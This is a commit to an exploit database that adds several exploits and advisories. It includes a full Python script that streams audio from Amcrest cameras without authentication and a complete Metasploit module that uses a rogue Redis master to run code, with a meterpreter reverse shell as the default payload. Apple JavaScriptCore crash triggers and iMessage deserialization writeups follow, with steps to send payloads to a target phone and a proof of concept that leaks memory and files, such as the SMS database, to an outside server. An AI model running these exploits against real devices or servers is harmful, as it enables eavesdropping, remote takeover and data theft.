DB: 2019-07-31

8 changes to exploits/shellcodes

macOS / iOS NSKeyedUnarchiver - Use-After-Free of ObjC Objects when Unarchiving OITSUIntDictionary Instances
macOS / iOS JavaScriptCore - Loop-Invariant Code Motion (LICM) Leaves Object Property Access Unguarded
macOS / iOS JavaScriptCore - JSValue Use-After-Free in ValueProfiles
iMessage - NSArray Deserialization can Invoke Subclass that does not Retain References
iMessage - Memory Corruption when Decoding NSKnownKeysDictionary1
iMessage - NSKeyedUnarchiver Deserialization Allows file Backed NSData Objects

WP Database Backup < 5.2 - Remote Code Execution (Metasploit)
WordPress Plugin Database Backup < 5.2 - Remote Code Execution (Metasploit)
Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit)

Amcrest Cameras 2.520.AC00.18.R - Unauthenticated Audio Streaming
This commit is contained in:
Offensive Security 2019-07-31 05:02:25 +00:00
parent 852694f982
commit 00f5094d48
9 changed files with 684 additions and 1 deletions

View file

@ -0,0 +1,127 @@
##
# Exploit Title: Unauthenticated Audio Streaming from Amcrest Camera
# Shodan Dork: html:"@WebVersion@"
# Date: 08/29/2019
# Exploit Author: Jacob Baines
# Vendor Homepage: https://amcrest.com/
# Software Link: https://amcrest.com/firmwaredownloads
# Affected Version: V2.520.AC00.18.R
# Fixed Version: V2.420.AC00.18.R
# Tested on: Tested on Amcrest IP2M-841 but known to affect other Dahua devices.
# CVE : CVE-2019-3948
# Disclosure: https://www.tenable.com/security/research/tra-2019-36
# Disclosure: https://sup-files.s3.us-east-2.amazonaws.com/Firmware/IP2M-841/JS+IP2M-841/Changelog/841_721_HX1_changelog_20190729.txt
#
# To decode the scripts output using ffplay use:
# ffplay -f alaw -ar 8k -ac 1 [poc output]
# Note that this assumes the camera is using the default encoding options.
##
import argparse
import socket
import struct
import sys
##
# Read in the specified amount of data. Continuing looping until we get it all...
# what could go wrong?
#
# @return the data we read in
##
def recv_all(sock, amount):
data = ''
while len(data) != amount:
temp_data = sock.recv(amount - len(data))
data = data + temp_data
return data
top_parser = argparse.ArgumentParser(description='Download audio from the HTTP videotalk endpoint')
top_parser.add_argument('-i', '--ip', action="store", dest="ip", required=True, help="The IPv4 address to connect to")
top_parser.add_argument('-p', '--port', action="store", dest="port", type=int, help="The port to connect to", default="80")
top_parser.add_argument('-o', '--output', action="store", dest="output", help="The file to write the audio to")
top_parser.add_argument('-b', '--bytes', action="store", dest="bytes", type=int, help="The amount of audio to download", default="1048576")
args = top_parser.parse_args()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setblocking(True)
print "[+] Attempting connection to " + args.ip + ":" + str(args.port)
sock.connect((args.ip, args.port))
print "[+] Connected!"
request = ('GET /videotalk HTTP/1.1\r\n' +
'Host: ' + args.ip + ':' + str(args.port) + '\r\n' +
'Range: bytes=0-\r\n' +
'\r\n')
sock.sendall(request)
status = ''
header = ''
# read in the HTTP response. Store the status.
while (header != '\r\n'):
header = header + sock.recv(1);
if (header.find('\r\n') > 0):
header = header.strip()
if (len(status) == 0):
status = header
header = ''
if (status.find('200 OK') == -1):
print '[-] Bad HTTP status. We received: "' + status + '"'
sock.close()
exit()
else:
print '[+] Downloading ' + str(args.bytes) + ' bytes of audio ...'
total_audio = ''
while (len(total_audio) < args.bytes):
# read in the header length
header_length = recv_all(sock, 4)
hlength = struct.unpack("I", header_length)[0]
if (hlength != 36):
print '[-] Unexpected header length'
sock.close()
exit()
# read in the header and extract the payload length
header = recv_all(sock, hlength)
plength = struct.unpack_from(">H", header)[0]
if (plength != 368):
print '[-] Unexpected payload length'
sock.close()
exit()
# there is a seq no in the header but since this is over
# tcp is sort of useless.
dhav = header[2:6]
if (dhav != "DHAV"):
print '[-] Invalid header'
exit(0)
# extract the audio. I'm really not sure what the first 6 bytes are
# but the last 8 serve as a type of trailer
whatami = recv_all(sock, 6)
audio = recv_all(sock, plength - hlength - 12)
trailer = recv_all(sock, 8)
if (trailer != 'dhavp\x01\x00\x00'):
print '[-] Invalid end of frame'
sock.close()
exit()
total_audio = total_audio + audio
sys.stdout.write('\r'+ str(len(total_audio)) + " / " + str(args.bytes))
sys.stdout.flush()
print ''
print '[+] Finished receiving audio.'
print '[+] Closing socket'
out_file = open(args.output, 'wb')
out_file.write(total_audio)
out_file.close()
sock.close()

271
exploits/linux/remote/47195.rb Executable file
View file

@ -0,0 +1,271 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
include Msf::Auxiliary::Redis
def initialize(info = {})
super(update_info(info,
'Name' => 'Redis Unauthenticated Code Execution',
'Description' => %q{
This module can be used to leverage the extension functionality added by Redis 4.x and 5.x
to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis
which called replication between master and slave.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
],
'References' =>
[
[ 'URL', 'https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf'],
[ 'URL', 'https://github.com/RedisLabs/RedisModulesSDK']
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
['Automatic', {} ],
],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'SRVPORT' => '6379'
},
'Privileged' => false,
'DisclosureDate' => 'Nov 13 2018',
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ SERVICE_RESOURCE_LOSS],
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]
},
))
register_options(
[
Opt::RPORT(6379),
OptBool.new('CUSTOM', [true, 'Whether compile payload file during exploiting', true])
]
)
register_advanced_options(
[
OptString.new('RedisModuleInit', [false, 'The command of module to load and unload. Random string as default.']),
OptString.new('RedisModuleTrigger', [false, 'The command of module to trigger the given function. Random string as default.']),
OptString.new('RedisModuleName', [false, 'The name of module to load at first. Random string as default.'])
]
)
deregister_options('URIPATH', 'THREADS', 'SSLCert')
end
#
# Now tested on redis 4.x and 5.x
#
def check
connect
# they are only vulnerable if we can run the CONFIG command, so try that
return Exploit::CheckCode::Safe unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/
if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
report_redis(redis_version)
end
Exploit::CheckCode::Vulnerable
ensure
disconnect
end
def exploit
if check_custom
@module_init_name = datastore['RedisModuleInit'] || Rex::Text.rand_text_alpha_lower(4..8)
@module_cmd = datastore['RedisModuleTrigger'] || "#{@module_init_name}.#{Rex::Text.rand_text_alpha_lower(4..8)}"
else
@module_init_name = 'shell'
@module_cmd = 'shell.exec'
end
if srvhost == '0.0.0.0'
fail_with(Failure::BadConfig, 'Make sure SRVHOST not be 0.0.0.0, or the slave failed to find master.')
end
#
# Prepare for payload.
#
# 1. Use custcomed payload, it would compile a brand new file during running, which is more undetectable.
# It's only worked on linux system.
#
# 2. Use compiled payload, it's avaiable on all OS, however more detectable.
#
if check_custom
buf = create_payload
generate_code_file(buf)
compile_payload
end
connect
#
# Send the payload.
#
redis_command('SLAVEOF', srvhost, srvport.to_s)
redis_command('CONFIG', 'SET', 'dbfilename', "#{module_file}")
::IO.select(nil, nil, nil, 2.0)
# start the rogue server
start_rogue_server
# waiting for victim to receive the payload.
Rex.sleep(1)
redis_command('MODULE', 'LOAD', "./#{module_file}")
redis_command('SLAVEOF', 'NO', 'ONE')
# Trigger it.
print_status('Sending command to trigger payload.')
pull_the_trigger
# Clean up
Rex.sleep(2)
register_file_for_cleanup("./#{module_file}")
#redis_command('CONFIG', 'SET', 'dbfilename', 'dump.rdb')
#redis_command('MODULE', 'UNLOAD', "#{@module_init_name}")
ensure
disconnect
end
#
# We pretend to be a real redis server, and then slave the victim.
#
def start_rogue_server
socket = Rex::Socket::TcpServer.create({'LocalHost'=>srvhost,'LocalPort'=>srvport})
print_status("Listening on #{srvhost}:#{srvport}")
rsock = socket.accept()
vprint_status('Accepted a connection')
# Start negotiation
while true
request = rsock.read(1024)
vprint_status("in<<< #{request.inspect}")
response = ""
finish = false
case
when request.include?('PING')
response = "+PONG\r\n"
when request.include?('REPLCONF')
response = "+OK\r\n"
when request.include?('PSYNC') || request.include?('SYNC')
response = "+FULLRESYNC #{'Z'*40} 1\r\n"
response << "$#{payload_bin.length}\r\n"
response << "#{payload_bin}\r\n"
finish = true
end
if response.length < 200
vprint_status("out>>> #{response.inspect}")
else
vprint_status("out>>> #{response.inspect[0..100]}......#{response.inspect[-100..-1]}")
end
rsock.put(response)
if finish
print_status('Rogue server close...')
rsock.close()
socket.close()
break
end
end
end
def pull_the_trigger
if check_custom
redis_command("#{@module_cmd}")
else
execute_cmdstager
end
end
#
# Parpare command stager for the pre-compiled payload.
# And the command of module is hard-coded.
#
def execute_command(cmd, opts = {})
redis_command('shell.exec',"#{cmd.to_s}") rescue nil
end
#
# Generate source code file of payload to be compiled dynamicly.
#
def generate_code_file(buf)
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.erb'))
File.open(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.c'), 'wb') { |file| file.write(ERB.new(template).result(binding))}
end
def compile_payload
make_file = File.join(Msf::Config.data_directory, 'exploits', 'redis', 'Makefile')
vprint_status("Clean old files")
vprint_status(%x|make -C #{File.dirname(make_file)}/rmutil clean|)
vprint_status(%x|make -C #{File.dirname(make_file)} clean|)
print_status('Compile redis module extension file')
res = %x|make -C #{File.dirname(make_file)} -f #{make_file} && echo true|
if res.include? 'true'
print_good("Payload generated successfully! ")
else
print_error(res)
fail_with(Failure::BadConfig, 'Check config of gcc compiler.')
end
end
#
# check the environment for compile payload to so file.
#
def check_env
# check if linux
return false unless %x|uname -s 2>/dev/null|.include? "Linux"
# check if gcc installed
return false unless %x|command -v gcc && echo true|.include? "true"
# check if ld installed
return false unless %x|command -v ld && echo true|.include? "true"
true
end
def check_custom
return @custom_payload if @custom_payload
@custom_payload = false
@custom_payload = true if check_env && datastore['CUSTOM']
@custom_payload
end
def module_file
return @module_file if @module_file
@module_file = datastore['RedisModuleName'] || "#{Rex::Text.rand_text_alpha_lower(4..8)}.so"
end
def create_payload
p = payload.encoded
Msf::Simple::Buffer.transform(p, 'c', 'buf')
end
def payload_bin
return @payload_bin if @payload_bin
if check_custom
@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.so'))
else
@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'exp', 'exp.so'))
end
@payload_bin
end
end

View file

@ -0,0 +1,22 @@
When deserializing NSObjects with the NSArchiver API [1], one can supply a whitelist of classes that are allowed to be unarchived. In that case, any object in the archive whose class is not whitelisted will not be deserialized. Doing so will also cause the NSKeyedUnarchiver to "requireSecureCoding", ensuring that the archived classes conform to the NSSecureCoding protocol before deserializing them. With that, deserialization of untrusted archives is expected to now be possible in a secure manner. However, a child class of a class in the whitelist will also be deserialized by NSKeyedUnarchiver if one of the following is true (see -[NSCoder _validateAllowedClass:forKey:allowingInvocations:] in Foundation.framework for the exact logic):
* It implements initWithCoder: and supportsSecureCoding, and calling the supportsSecureCoding method returns true
* It doesn't implement initWithCoder and the first superclass that implements initWithCoder: also implements supportsSecureCoding which returns true
In the latter case, deserializing such an object will invoke initWithCoder: of the superclass, which may then end up invoking methods of the child class. One such example is OITSUIntDictionary from the OfficeImport framework. This class inherits from NSDictionary, whose initWithCoder: will be called during unarchiving. Then the following happens:
* initWithCoder invokes initWithCapacity: with the number of key-value pairs in the archive. This ends up calling -[OITSUIntDictionary initWithCapacity:] which sets the backing storage for the dict to the result of `CFDictionaryCreateMutable(0LL, v3, 0LL, 0LL)`. Note that neither key- nor value callbacks are provided (arguments #3 and #4). As such, elements stored in the dictionary will not be retained. Presumably, this is because the dictionary is only supposed to store integers which are not reference counted
* Next, initWithCoder invokes setObject:forKey for each key-value pair of the archive. This will now store the keys and values in the OITSUIntDictionary *without* retaining them, thus their refcount will still be 1 and they are only kept alive by the NSKeyedUnarchiver instance
* Unarchiving finishes, the NSKeyedUnarchiver is destroyed and it releases all its references to the deserialized objects. These objects are then freed and the deserialized OITSUIntDictionary now contains stale pointers.
Accessing the elements of the deserialized dictionary then leads to use-after-free issues.
The OfficeImport library appears to be loaded by the QuickLook.framework on demand (in _getOfficeImportLibrary()), and QuickLook is loaded into the Springboard process. As such, there might be scenarios in which OfficeImport is loaded in Springboard, making this bug remotely triggerable via iMessage without any user interaction. In any case, any process that has the OfficeImport library loaded and deserializes untrusted NSDictionaries is vulnerable even if secureCoding is enforced during unarchiving.
These type of bugs can be found somewhat automatically: the attached IDAPython script, when run in IDA Pro with the iOS dyld_shared_cache loaded, will enumerate all system libraries and determine classes that inherit from one of the whitelisted classes. It then writes a list of all candidates (classes that are allowed to be deserialized by NSKeyedUnarchiver with the whitelists present in iMessage parsing) to disk. Afterwards, these classes can be unarchived by first archiving a valid parent class (e.g. NSDictionary) and replacing the name of the parent class with the name of the child class in the serialized archive, then deserializing the archive again and invoking a few common methods on the resulting object, e.g. "count" or "objectForKey:". With that, the program will potentially crash when deserializing buggy child classes (as is the case for PFArray and OITSUIntDictionary).
The attached archiveDict.m program can generate a valid NSDictionary archive, which can then be converted to xml format for easier editing with `plutil -convert xml1 archive`. unarchiveDict.m can afterwards deserialize the archive again into an NSDictionary instance.
This approach, however, requires that all libraries loaded in the target process are also loaded in unarchiveDict, or else some of the classes won't be found and can thus not be deserialized.
Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47189.zip

View file

@ -0,0 +1,82 @@
While fuzzing JavaScriptCore, I encountered the following (modified and commented) JavaScript program which crashes jsc from current HEAD and release (/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc):
function v2(trigger) {
// Force JIT compilation.
for (let v7 = 0; v7 < 1000000; v7++) { }
if (!trigger) {
// Will synthesize .length, .callee, and Symbol.iterator.
// See ScopedArguments::overrideThings [1]
arguments.length = 1;
}
for (let v11 = 0; v11 < 10; v11++) {
// The for-of loop (really the inlined array iterator) will fetch the
// .length property after a StructureCheck. However, the property fetch
// will be hoisted in front of the outer loop by LICM but the
// StructureCheck won't. Then, in the final invocation it will crash
// because .length hasn't been synthezised yet (and thus the butterfly
// is nullptr).
for (const v14 of arguments) {
const v18 = {a:1337};
// The with statement here probably prevents escape analysis /
// object allocation elimination from moving v18 into the stack,
// thus forcing DFG to actually allocate v18. Then, LICM sees a
// write to structure IDs (from the object allocation) and thus
// cannot hoist the structure check (reading a structure ID) in
// front of the loop.
with (v18) { }
}
}
}
for (let v23 = 0; v23 < 100; v23++) {
v2(false);
}
print("Triggering crash");
v2(true);
Here is what appears to be happening:
When v2 is optimized by the FTL JIT, it will inline the ArrayIterator.next function for the for-of loop and thus produce the following DFG IR (of which many details were omitted for readability):
Block #8 (Before outer loop)
...
Block #10 (bc#180): (Outer loop)
104:<!0:-> CheckStructure(Check:Cell:@97, MustGen, [%Cp:Arguments], R:JSCell_structureID, Exits, bc#201, ExitValid)
105:< 2:-> GetButterfly(Cell:@97, Storage|UseAsOther, Other, R:JSObject_butterfly, Exits, bc#201, ExitValid)
Block #12 (bc#464 --> next#<no-hash>:<0x10a8a08c0> bc#43 --> arrayIteratorValueNext#<no-hash>:<0x10a8a0a00> bc#29): (Inner loop header)
378:< 4:-> GetByOffset(Check:Untyped:@105, KnownCell:@97, JS|PureInt|UseAsInt, BoolInt32, id2{length}, 100, R:NamedProperties(2), Exits, bc#34, ExitValid) predicting BoolInt32
Block #17 (bc#487): (Inner loop body)
267:< 8:-> NewObject(JS|UseAsOther, Final, %B8:Object, R:HeapObjectCount, W:HeapObjectCount, Exits, bc#274, ExitValid)
273:<!0:-> PutByOffset(KnownCell:@267, KnownCell:@267, Check:Untyped:@270, MustGen, id7{a}, 0, W:NamedProperties(7), ClobbersExit, bc#278, ExitValid)
274:<!0:-> PutStructure(KnownCell:@267, MustGen, %B8:Object -> %EQ:Object, ID:45419, R:JSObject_butterfly, W:JSCell_indexingType,JSCell_structureID,JSCell_typeInfoFlags,JSCell_typeInfoType, ClobbersExit, bc#278, ExitInvalid)
Eventually, the loop-invariant code motion optimization runs [2], changing graph to the following:
Block #8 (Before outer loop)
...
105:< 2:-> GetButterfly(Cell:@97, Storage|UseAsOther, Other, R:JSObject_butterfly, Exits, bc#201, ExitValid)
378:< 4:-> GetByOffset(Check:Untyped:@105, KnownCell:@97, JS|PureInt|UseAsInt, BoolInt32, id2{length}, 100, R:NamedProperties(2), Exits, bc#34, ExitValid) predicting BoolInt32
Block #10 (bc#180): (Outer loop)
104:<!0:-> CheckStructure(Check:Cell:@97, MustGen, [%Cp:Arguments], R:JSCell_structureID, Exits, bc#201, ExitValid)
Block #12 (bc#464 --> next#<no-hash>:<0x10a8a08c0> bc#43 --> arrayIteratorValueNext#<no-hash>:<0x10a8a0a00> bc#29): (Inner loop header)
Block #17 (bc#487): (Inner loop body)
267:< 8:-> NewObject(JS|UseAsOther, Final, %B8:Object, R:HeapObjectCount, W:HeapObjectCount, Exits, bc#274, ExitValid)
273:<!0:-> PutByOffset(KnownCell:@267, KnownCell:@267, Check:Untyped:@270, MustGen, id7{a}, 0, W:NamedProperties(7), ClobbersExit, bc#278, ExitValid)
274:<!0:-> PutStructure(KnownCell:@267, MustGen, %B8:Object -> %EQ:Object, ID:45419, R:JSObject_butterfly, W:JSCell_indexingType,JSCell_structureID,JSCell_typeInfoFlags,JSCell_typeInfoType, ClobbersExit, bc#278, ExitInvalid)
Here, the GetButterfly and GetByOffset operations, responsible for loading the .length property, were moved in front of the StructureCheck which is supposed to ensure that .length can be loaded in this way. This is clearly unsafe and will lead to a crash in the final invocation of the function when .length is not "synthesized" and thus the butterfly is nullptr.
To understand why this happens it is necessary to look at the requirements for hoisting operations [3]. One of them is that "The node doesn't read anything that the loop writes.". In this case the CheckStructure operation reads the structure ID from the object ("R:JSCell_structureID" in the IR above) and the PutStructure writes a structure ID ("W:JSCell_indexingType,JSCell_structureID,JSCell_typeInfoFlags,JSCell_typeInfoType") as such the check cannot be hoisted because DFG cannot prove that the read value doesn't change in the loop body (note that here the compiler acts conservatively as it could, in this specific instance, determine that the structure ID being written to inside the loop is definitely not the one being read. It doesn't do so and instead only tracks abstract "heap locations" like the JSCell_structureID). However, as no operation in the loop bodies writes to either the JSObject_butterfly or the NamedProperties heap location (i.e. no Butterfly pointer or NamedProperty slot is ever written to inside the loop body), LICM incorrectly determined that the GetButterfly and GetByOffset operations could safely be hoisted in front of the loop body. See also https://bugs.chromium.org/p/project-zero/issues/detail?id=1775 and https://bugs.chromium.org/p/project-zero/issues/detail?id=1789 for more information about the LICM optimization.
I suspect that this issue is more general (not limited to just `argument` objects) and allows bypassing of various StructureChecks in the JIT, thus likely being exploitable in many ways. However, I haven't confirmed that.

View file

@ -0,0 +1,98 @@
While fuzzing JSC, I encountered the following JS program which crashes JSC from current HEAD and release (/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc):
// Run with --useConcurrentJIT=false --thresholdForJITAfterWarmUp=10
function fullGC() {
for (var i = 0; i < 10; i++) {
new Float64Array(0x1000000);
}
}
function v62() {
function v141() {
try {
const v146 = v141();
} catch(v147) {
const v154 = Object();
function v155(v156,v157,v158) {
try {
// This typed array gets collected
// but is still referenced from the
// value profile of TypedArray.values
const v167 = new Uint32Array();
const v171 = v167.values();
} catch(v177) {
}
}
const v181 = v155();
}
}
v141();
function edenGC() {
for (let v194 = 0; v194 < 100; v194++) {
const v204 = new Float64Array(0x10000);
}
}
const v205 = edenGC();
}
for (let i = 0; i < 6; i++) {
const v209 = v62();
}
fullGC();
If the loop that calls v62 is run 100 instead of 6 times it will also crash without --thresholdForJITAfterWarmUp=10, albeit a bit less reliable.
Running this sample will crash JSC in debug builds with an assertion like this:
ASSERTION FAILED: structureIndex < m_capacity
Source/JavaScriptCore/runtime/StructureIDTable.h(175) : JSC::Structure *JSC::StructureIDTable::get(JSC::StructureID)
1 0x101aadcf9 WTFCrash
2 0x101aadd19 WTFCrashWithSecurityImplication
3 0x10000cb18 JSC::StructureIDTable::get(unsigned int)
4 0x10000ca23 JSC::VM::getStructure(unsigned int)
5 0x10000c7cf JSC::JSCell::structure(JSC::VM&) const
6 0x10001887b JSC::JSCell::structure() const
7 0x10072fc05 JSC::speculationFromCell(JSC::JSCell*)
8 0x10072fd9f JSC::speculationFromValue(JSC::JSValue)
9 0x1006963dc JSC::ValueProfileBase<1u>::computeUpdatedPrediction(JSC::ConcurrentJSLocker const&)
...
The crash is due to a JSValue pointing to a previously freed chunk which will have its JSCell header overwritten. As such, it then crashes when accessing the structure table out-of-bounds with the clobbered structure ID.
The JSValue that is being accessed is part of a ValueProfile: a data structure attached to bytecode operations which keeps track of input types that have been observed for its operation. During execution in the interpreter or baseline JIT, input types for operations will be stored in their associated ValueProfile as can e.g. be seen in the implementation of the low-level interpreter (LLInt) [1]. This is a fundamental mechanism of current JS engines allowing optimizing JIT compilers (like the DFG and FTL) to speculate about types of variables in the compiled program by inspecting previously observed types collected in these ValueProfiles.
A ValueProfile is implemented by the ValueProfileBase C++ struct:
struct ValueProfileBase {
...
int m_bytecodeOffset; // -1 for prologue
unsigned m_numberOfSamplesInPrediction { 0 };
SpeculatedType m_prediction { SpecNone };
EncodedJSValue m_buckets[totalNumberOfBuckets];
};
Here, m_buckets will store the raw JSValues that have been observed during execution. m_prediction in turn will contain the current type prediction [2] for the associated value, which is what the JIT compilers ultimately rely on. The type prediction is regularly computed from the observed values in computeUpdatedPrediction [3].
This raises the question how the JSValues in m_buckets are kept alive during GC, as they are not stored in a MarkedArgumentBuffer [4] or similar (which automatically inform the GC of the objects and thus keep them alive). The answer is that they are in fact not kept alive during GC by the ValueProfiles themselves. Instead, computeUpdatedPrediction [3] is invoked from finalizeUnconditionally [5] at the end of the GC marking phase and will clear the m_buckets array before the pointers might become dangling. Basically, it works like this:
* Observed JSValues are simply stored into ValueProfiles at runtime by the interpreter or baseline JIT without informing the GC about these references
* Eventually, GC kicks in and starts its marking phase in which it visits all reachable objects and marks them as alive
* Afterwards, before sweeping, the GC invokes various callbacks (called "unconditionalFinalizers") [6] on certain objects (e.g. CodeBlocks)
* The CodeBlock finalizers update all value profiles, which in turn causes their current speculated type to be merged with the runtime values that were observed since the last update
* Afterwards, all entries in the m_buckets array of the ValueProfiles are cleared to zero [7]. As such, the ValueProfiles no longer store any pointers to JSObjects
* Finally, the sweeping phase runs and frees all JSCells that have not been marked
For some time now, JSC has used lightweight GC cycles called "eden" collections. These will keep mark bits from previous eden collections and thus only scan newly allocated objects, not the entire object graph. As such they are quicker than a "full" GC, but might potentially leave unused ("garbage") objects alive which will only be collected during the next full collection. See also [8] for an in depth explanation of JSC's current garbage collector.
As described above, the function finalizeMarkedUnconditionalFinalizers [6] is responsible for invoking some callback on objects that have been marked (and thus are alive) after the marking phase. However, during eden collections this function only iterates over JSCells that have been marked in the *current* eden collection, not any of the previous ones *. As such, it is possible that a CodeBlock has been marked in a previous eden collection (and is thus still alive), but hasn't been marked in the current one and will thus not be "unconditionally finalized". In that case, its ValueProfile will not be cleared and will still potentially contain pointers to various JSObjects, which, however, aren't protected from GC and thus might be freed by it.
This is what happens in the program above: the TypedArray.values function is a JS builtin [9] and will thus be JIT compiled. At the time of the crash it will be baseline JIT compiled and thus store the newly allocated Uint32Array into one of its ValueProfile [10]. Directly afterwards, the compiled code raises another stack overflow exception [11]. As such, the Uint32Array is not used any further and no more references to it are taken which could protect it from GC. As such, the array will be collected during the next (eden) GC round. However, the CodeBlock for TypedArray.values was already marked in a previous eden collection and will not be finalized, thus leaving the pointer to the freed TypedArray dangling in the ValueProfile. During the next full GC, the CodeBlock is again "unconditionally finalized" and will then inspects its m_buckets, thus crashing when using the freed JSValue.
The infinite recursion and following stack overflow exceptions in this sample might be necessary to force a situation in which the newly allocated Uint32Array is only stored into a profiling slot and nowhere else. But maybe they are also simply required to cause the right sequence of GC invocations.

View file

@ -0,0 +1,18 @@
When deserializing a class with initWithCoder, subclasses of that class can also be deserialized so long as they do not override initWithCoder and implement all methods that require a concrete implementation.
_PFArray is such a subclass of NSArray. When a _PFArray is deserialized, it is deserialized with [NSArray initWithCoder:], which eventually calls [_PFArray initWithObjects:count:]. This method initializes the array with the objects provided by the NSKeyedUnarchiver, but does not retain references to these objects, so when the NSKeyedUnarchiver is released, the objects in the array will also be released, even though the user of the deserialized objects could still be using them.
This issue can be reached remotely via iMessage and crash Springboard with no user interaction.
To reproduce the issue with the files in pfarray.zip:
1) install frida (pip3 install frida)
2) open sendMessage.py, and replace the sample receiver with the phone number or email of the target device
3) in injectMessage.js replace the marker "PATH" with the path of the obj file
4) in the local directory, run:
python3 sendMessage.py
Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47192.zip

View file

@ -0,0 +1,18 @@
There is a memory corruption vulnerability when decoding an object of class NSKnownKeysDictionary1. This class decodes an object of type NSKnownKeysMappingStrategy1, which decodes a length member which is supposed to represent the length of the keys of the dictionary. However, this member is decoded before the keys are decoded, so if a key is an instance of NSKnownKeysDictionary1 which also uses this instance of NSKnownKeysMappingStrategy1, the mapping strategy will be used before the length is checked. The NSKnownKeysDictionary1 instance uses this length to allocate a buffer, and the length is multiplied by 8 during this allocation without an integer overflow check. The code will then attempt to copy the values array (another decoded parameter) into the buffer using the unmultiplied length.
It is not possible to control the copied values in this bug, because getObjects:range would then be called with a very large range and throw an exception. However, if the decoded values array is null, getObjects:range will do nothing, and then the code will go through a loop where it copies and retains entries from the values array into the buffer allocated based on the length member, going well past the end of both allocations.
This issue would likely be fairly difficult to exploit due to the uncontrolled nature of these copies.
To reproduce this issue in iMessage with knownkeydict:
1) install frida (pip3 install frida)
2) open sendMessage.py, and replace the sample receiver with the phone number or email of the target device
3) in injectMessage.js replace the marker "PATH" with the path of the obj file
4) in the local directory, run:
python3 sendMessage.py
Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47193.zip

View file

@ -0,0 +1,39 @@
The class _NSDataFileBackedFuture can be deserialized even if secure encoding is enabled. This class is a file-backed NSData object that loads a local file into memory when the [NSData bytes] selector is called. This presents two problems. First, it could potentially allow undesired access to local files if the code deserializing the buffer ever shares it (this is more likely to cause problems in components that use serialized objects to communicate locally than in iMessage). Second, it allows an NSData object to be created with a length that is different than the length of its byte array. This violates a very basic property that should always be true of NSData objects. This can allow out of bounds reads, and could also potentially lead to out-of-bounds writes, as it is now possible to create NSData objects with very large sizes that would not be possible if the buffer was backed.
To reproduce the issue with the files in filebacked.zip:
1) install frida (pip3 install frida)
2) open sendMessage.py, and replace the sample receiver with the phone number or email of the target device
3) in injectMessage.js replace the marker "PATH" with the path of the obj file
4) in the local directory, run:
python3 sendMessage.py
Please note that the attached repro case is a simple example to demonstrate the reach-ability of the class in Springboard. The actual consequences of the bug are likely more serious. This PoC only works on devices with iOS 12 or later.
I've written up a PoC of this issue leaking memory from a remote device. To use the PoC, replace all instances of "natashenka.party" in the attached files with the domain of the server you are using to reproduce the issue. Then run myserver.py on the server, and use the files in filebackedleak.zip to send a message to a target device, using the instructions in the issue above. Leaked bytes of memory from Springboard in the target device will be displayed in the output of myserver.py.
A quick summary of how this PoC works:
1) iMessage attempts to decode the object in the file obj to display the message notification
2) A _NSDataFileBackedFuture instance is decoded, with a fileURL of http://natashenka.party//System/Library/ColorSync/Resources/ColorTables.data and a long length.
3) An ACZeroingString instance is decoded, using the previous _NSDataFileBackedFuture as its bytes. When the bytes are accessed, they will be fetched from the above URL. The _NSDataFileBackedFuture class attempts to prevent remote URLs from being fetched by checking that the path of the URL exists on the system, but it does not check the scheme, so a remote URL can be fetched so long as its path component is a path that exists on the filesystem
4) The remote server responds with a buffer that contains the URL http://natashenka.party//System/Library/ColorSync/Resources/ColorTables.data?val=a. Since the length of the _NSDataFileBackedFuture is long, this will lead to a buffer that contains the URL as well as some unallocated, uninitialized memory
5) Unfortunately, it is not possible to leak the memory by accessing the URL with the leaked memory created in step 4 using another _NSDataFileBackedFuture at this stage, because the NSURL class greatly restricts the characters allowed in a URL, so it is necessary to bypass these checks. It is possible to do this with the INDeferredLocalizedString class, which is a string that can have different values based on localization
6) An INDeferredLocalizedString instance is decoded with one property being a string that is a legal URL, and the other being the string with the invalid characters. There is a cycle in initialization that causes an NSURL instance to be initialized using the valid string, but then the string moves into a state where it will return the invalid characters when the NSURL is used.
7) A _NSDataFileBackedFuture is used to access the URL, and the leaked bytes are send to the server as the URL parameter
I've got this issue to read files from a remote device. To use the PoC, replace all instances of "natashenka.party" in the attached files with the domain of the server you are using to reproduce the issue. Then run myserver.py on the server, and use the files in messageleak.zip to send a message to a target device, using the instructions in the issue above. There are two possible objects to send the device:
obj_db: sends back the file in an escaped format that omits nulls. Good for leaking the SMS database
obj_image: sends back the file in a url encoded format. Good for leaking binary files like images
The file contents will be output on the commandline of myserver.py. There are some length limits in the server file that can be removed to see more data. The server will also output a file named 'buf'. Processing this file with uni.py (requires python3) will output the file. This only works with the the obj_image object.
This PoC works similarly to the one above, but it encodes the string by using the formatting options in INDeferredLocalizedString.
Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47194.zip

View file

@ -6515,6 +6515,12 @@ id,file,description,date,author,type,platform,port
